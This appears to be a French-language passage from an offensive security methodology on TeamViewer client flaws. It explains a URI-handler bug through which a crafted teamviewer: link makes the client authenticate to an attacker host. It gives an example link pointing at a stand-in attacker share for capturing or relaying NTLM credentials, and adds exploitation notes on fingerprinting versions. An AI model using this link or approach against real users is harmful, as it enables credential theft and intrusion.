Le client de bureau de TeamViewer a comporté des vulnérabilités d'exécution de code et apparentées accessibles via l'application. Une classe notable est la faille de gestionnaire d'URI : un lien teamviewer: forgé (par exemple intégré dans une page web ou un document) amenait le client à établir une connexion sortante vers un hôte spécifié par l'attaquant, ce qui pouvait servir à faire fuiter les identifiants NTLM de l'utilisateur en vue d'un relais/casse ou à diriger le client vers une action contrôlée par l'attaquant. D'autres sont des problèmes d'analyse et de privilèges dans le client qui mènent à l'exécution. Celles-ci affectent des versions précises, donc empreinter et faire correspondre l'avis de sécurité est la voie, et le gain est l'exécution ou la capture d'identifiants via l'application plutôt que de deviner un mot de passe.
# URI-handler class: a crafted teamviewer:// link makes the client connect outward
# <a href="teamviewer10: --play \\attacker\share\..."> (version-specific syntax)
# capture/relay the resulting NTLM authentication, or drive the client action
# match the TeamViewer client version to the advisory for the specific flaw
Notes d'exploitation#
- La faille de gestionnaire d'URI est côté client et livrée via un lien que l'utilisateur ouvre ; son gain est souvent la capture/le relais d'identifiants NTLM (le client s'authentifie vers l'extérieur auprès de l'attaquant) autant qu'une exécution directe, s'enchaînant vers le relais NTLM.
- Les failles d'analyse/de privilèges dans le client donnent une exécution locale ou à distance selon leur avis de sécurité ; toutes sont spécifiques à la version, donc empreintez la build.
- Celles-ci nécessitent soit une interaction de l'utilisateur (ouvrir un lien forgé), soit l'atteinte de la surface client vulnérable, distinctes des attaques de mot de passe/configuration qui ne nécessitent aucune faille.
- Là où la version est corrigée, repliez-vous sur les voies d'authentification, d'exposition et de contournement d'authentification.